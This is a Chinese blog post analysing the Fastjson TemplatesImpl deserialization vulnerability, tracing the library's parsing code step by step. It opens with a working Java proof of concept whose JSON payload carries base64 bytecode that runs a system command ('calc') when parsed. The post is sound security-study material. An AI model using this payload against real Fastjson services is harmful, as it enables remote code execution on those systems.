构造恶意类
package org.example.fastjson.TemplatesImpl; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; public class Test { public static void main(String[] args) { ParserConfig config = new ParserConfig(); String text = "{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}"; Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField); } }
Fastjson TemplatesImpl链 反序列化漏洞分析
从parseObject函数开始:
public staticT parseObject(String input, Type clazz, ParserConfig config, Feature... features) { return parseObject(input, clazz, config, (ParseProcess)null, DEFAULT_PARSER_FEATURE, features); } public static T parseObject(String input, Type clazz, ParserConfig config, int featurevalues, Feature... features) { return parseObject(input, clazz, config, (ParseProcess)null, featurevalues, features); }
这里有几个参数传入,并直接调用了parseObject的重载方法。
几个参数分别是input、clazz、config、features。
input传递进来的是需要反序列化的数据,这里即是我们的payload数据。
clazz为指定的对象,这里是Object.class对象
config则是ParserConfig的实例对象
features参数为反序列化反序列化private属性所用到的一个参数。
实例化了一个DefaultJSONParser,并调用parseObject方法,跟踪parseObject
来看到这一段代码,这里是个三目运算,type是否为Class对象并且type不等于 Object.class,type不等于
Serializable.class条件为true调用parser.parseObject,条件为flase调用parser.parse。很显然这里会调用parser.parse方法。继续跟踪。
这里将this.lexer的值,赋值给lexer,而这个this.lexer是在实例化DefaultJSONParser对象的时候被赋值的。在全参构造方法中我们可以看到,如下:
调用lexer.getCurrent(),获取到是ch中数据如果为{就将lexer.token设置为12,如果为[设置 lexer.token设置为14。
接下来会走到case 12:这里,
调用this.parseObject继续跟踪
在parseObject函数中的调用lexer.scanSymbol方法,这附近的逻辑是这个方法里面会一个一个 字符循环获取双引号后面的内容(@type),感兴趣的可以自行跟进,这里就不截图了
接着往下走到274行
判断key是否等于@type,等于则获取@type中的值,接着则是调用反射将这个类名传递进去获取一个方法获取类对象。这里就很清楚了,已经把类名传入,准备获取对象了
下面走到这段代码
跟进 this.config.getDeserializer后会发现,在构造方法中会调用build()函数,
接着来到了com.alibaba.fastjson.util.JavaBeanInfo#build
在通过@type获取类之后,通过反射拿到该类所有的方法存入methods
接下来遍历methods进而获取get、set方法(循环遍历get,set方法)
set的查找方式: 方法名长度大于4 非静态方法 返回值为void或当前类 方法名以set开头 参数个数为1 get的查找方式: 方法名长度大于等于4 非静态方法 以get开头且第4个字母为大写 无传入参数 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong 这样一来就获取到了TemplatesImpl的getOutputProperties()
返回com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze继续调试跟踪,到parseField方法
跟进
smartMatch函数会替换_字符为空
执行完成后回到 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer# parseField来到这一步
这里会循环调用我们传入的参数,也就是传入的get方法,去设置值,进行反射调用执行TemplatesImpl的getOutputProperties()方法后会调用出我们的代码,也就是d出计算机
进行反射调用执行TemplatesImpl的getOutputProperties()方法。反序列化是调用了对我们有利用类的get方法。
在这命令就执行成功了,但是我们还有一个遗留下来的问题没有解答,就是_bytecodes为什么需要进行base64编码的问题
在解析byte数据的时候回去调用this.lexer.bytesValue();,跟踪就会看见会调用IOUtils.decodebase64进行base64解密
这里还有payload没有分析,等后续了解了cc利用链再回来补这个坑
参考: https://reader-l.github.io/2021/04/17/FastJason-1-2-22-1-2-24-TemplatesImpl%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/ https://www.cnblogs.com/nice0e3/p/14601670.html#0x02-fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)